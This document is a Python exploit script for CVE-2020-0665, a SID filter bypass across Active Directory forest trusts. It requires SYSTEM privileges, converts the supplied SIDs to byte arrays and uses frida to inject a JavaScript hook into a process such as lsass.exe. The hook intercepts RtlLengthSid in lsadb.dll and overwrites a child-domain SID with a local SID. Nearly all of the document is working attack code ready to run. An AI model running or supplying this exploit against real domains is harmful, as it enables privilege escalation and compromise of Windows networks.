README.md
Rendering markdown...
from __future__ import print_function
import argparse
import sys
import subprocess
# We will need 'frida' library to intercept processes
try:
import frida
except:
print("'frida' library not found. Please try to install it and retry.")
sys.exit(1)
def ensure_system_privileges():
"""
Check if the current user has SYSTEM privileges.
Exits if not running as SYSTEM.
Needed since we will intercept and hook processes.
"""
try:
output = subprocess.check_output("whoami", shell=True)
output = output.strip().lower()
if output != "nt authority\\system":
print("[!] Insufficient privileges. Current user is: {}".format(output))
print("[!] You must be running as NT AUTHORITY\\SYSTEM.")
sys.exit(1)
except Exception as e:
print("[!] Error checking user privileges: {}".format(str(e)))
sys.exit(1)
def print_info(args):
"""
Print some information given.
"""
print("[+] Child SID: {child}" .format(child=args.child_sid))
print("[+] Local SID: {local_sid}". format(local_sid=args.local_sid))
print("[+] Process to interupt and hook: {p}".format(p=args.process))
return
def parse_args():
"""
Get arguments/flags from user.
"""
parser = argparse.ArgumentParser(description='CVE-2020-0665 / SID Filter Bypass - by gunzf0x')
parser.add_argument('--child-sid', help='Child Domain SID', required=True)
parser.add_argument('--local-sid', help='Local SID of the victim server (cannot be Domain Controller).', required=True)
parser.add_argument('-p', '--process', help='Process to intercept and hook. Process name or PID (number). For example and recommended: lsass.exe', required=True)
parser.add_argument('--prefix-child-sid', help='Prefix in Child Domain SID. For example, if Child SID is "S-1-5-21-3878752286-62540090-653003637", it has prefix "S-1-5-21-". If not specified, the program will attempt to extract it automatically.')
parser.add_argument('--prefix-local-sid', help='Prefix in Local SID Workstation. For example, if Child SID is "S-1-5-21-2327345182-1863223493-3435513819", it has prefix "S-1-5-21-". If not specified, the program will attempt to extract it automatically.')
parser.add_argument('-v' ,'--verbose', action='store_true', help='Enable verbose output.')
return parser.parse_args()
def get_prefix_automatically(SID, doVerbose, SID_Name):
"""
Get SID prefix if user has not explicitly given it.
If 'S-1-5-21-3878752286-62540090-653003637' is a SID, then 'S-1-5-21-' is obtained as its prefix.
"""
# Split up to the fourth "-"
parts = SID.split("-", 4)
prefix = "-".join(parts[:4])
# Show prefix extracted if verbose is enabled
if doVerbose:
print("(Verbose) Prefix automatically extracted: '{p}-' for {s}" .format(p=prefix, s=SID_Name))
# Return interesting part of SID
return prefix + '-'
def SID_to_Binary(SID, prefix, doVerbose, SID_Name):
"""
Pass part of SID to binary
"""
# If user has explicitly passed a prefix, use it
if prefix:
components = SID.split(prefix, 1)
if doVerbose:
print("(Verbose) Manual prefix set '{p}' for {c}" .format(p=prefix, c=SID_Name))
print("(Verbose) The following part of SID will be passed to binary for {c}: {part}" .format(part=components[1], c=SID_Name))
else: #otherwise, extract prefix automatically
prefix = get_prefix_automatically(SID, doVerbose, SID_Name)
components = SID.split(prefix, 1)
if len(components) > 1:
remaining_string = components[1]
split_values = remaining_string.split('-')
output_list = []
for i in split_values:
decimal_number = int(i)
# For some reason, Python returns an 'L' in Windows for long integers. When SID is splitted by '-', a long integer is obtained and produces an 'L' in output. Remove that.
hexadecimal_value = hex(decimal_number).rstrip('L').replace('0x', '').zfill(8)
little = ' '.join([hexadecimal_value[i:i+2] for i in range(len(hexadecimal_value)-2, -2, -2)])
bytes_list = little.split()
formatted_bytes = ', '.join(["0x{}".format(byte.upper()) for byte in bytes_list])
output_list.append(formatted_bytes)
final_output = ', '.join(output_list)
if doVerbose:
print("(Verbose) Binary payload: " + "0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x15, 0x00, 0x00, 0x00, " + final_output)
try:
binary_SID = "0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x15, 0x00, 0x00, 0x00, " + final_output
except:
print("[-] Could not retrieve binary SID for {sid}".format(sid=SID))
sys.exit(1)
return binary_SID
def on_message(message, data):
"""
Print messages for 'frida' library
"""
print("[%s] => %s" % (message, data))
def intercept_and_hook_process(child_SID_binary, local_SID_binary, process, doVerbose):
"""
Use 'frida' to intercept and hook process to trigger the vulnerability
"""
# Get process by its PID (integer) or its name
try:
target_process = int(process)
except ValueError:
if doVerbose:
print("(Verbose) '{p}' process could not be converted to an integer. Using it as a string variable..." .format(p=process))
target_process = process
print("[+] Intercepting and hooking process '{p}'...".format(p=process))
session = frida.attach(target_process)
# Define a payload based on https://github.com/dirkjanm/forest-trust-tools/blob/master/frida_intercept.py
payload = """
// Find base address of current imported lsadb.dll by lsass
var baseAddr = Module.findBaseAddress('lsadb.dll');
console.log('lsadb.dll baseAddr: ' + baseAddr);
// Add call to RtlLengthSid from LsaDbpDsForestBuildTrustEntryForAttrBlock
// (address valid for Server 2016 v1607)
var returnaddr = ptr('0x151dc');
var resolvedreturnaddr = baseAddr.add(returnaddr)
// Sid as binary array to find/replace
var buf1 = [%s];
var newsid = [%s];
// Find module and attach
var f = Module.getExportByName('ntdll.dll', 'RtlLengthSid');
Interceptor.attach(f, {
onEnter: function (args) {
// Only do something calls that have the return address we want
if(this.returnAddress.equals(resolvedreturnaddr)){
console.log("entering intercepted function will return to r2 " + this.returnAddress);
// Dump current SID
console.log(hexdump(args[0], {
offset: 0,
length: 24,
header: true,
ansi: false
}));
// If this is the sid to replace, do so
if(equal(buf1, args[0].readByteArray(24))){
console.log("sid matches!");
args[0].writeByteArray(newsid);
console.log("modified SID in response");
}
}
},
});
function equal (buf1, buf2)
{
var dv1 = buf1;
var dv2 = new Uint8Array(buf2);
for (var i = 0 ; i != buf2.byteLength ; i++)
{
if (dv1[i] != dv2[i]){
return false;
}
}
return true;
}
""" % (child_SID_binary, local_SID_binary)
if doVerbose:
print("(Verbose) The following payload will be injected:\n\n", payload)
script = session.create_script(payload)
script.on('message', on_message)
script.load()
print("[!] Ctrl+Z on Windows/cmd.exe to detach from instrumented program.\n\n")
sys.stdin.read()
session.detach()
def main():
# Get user arguments
args = parse_args()
# Check if the script is being executed as 'nt authority/system', since we require privileges ('Administrator' does not work)
ensure_system_privileges()
# Print information given by the user
print_info(args)
# Child SID to binary
child_SID_binary = SID_to_Binary(args.child_sid, args.prefix_child_sid, args.verbose, 'child SID')
# Local SID to binary
local_SID_binary = SID_to_Binary(args.local_sid, args.prefix_local_sid, args.verbose, 'local SID')
# Intercept and hook the target process with 'frida'
intercept_and_hook_process(child_SID_binary, local_SID_binary, args.process, args.verbose)
if __name__ == "__main__":
main()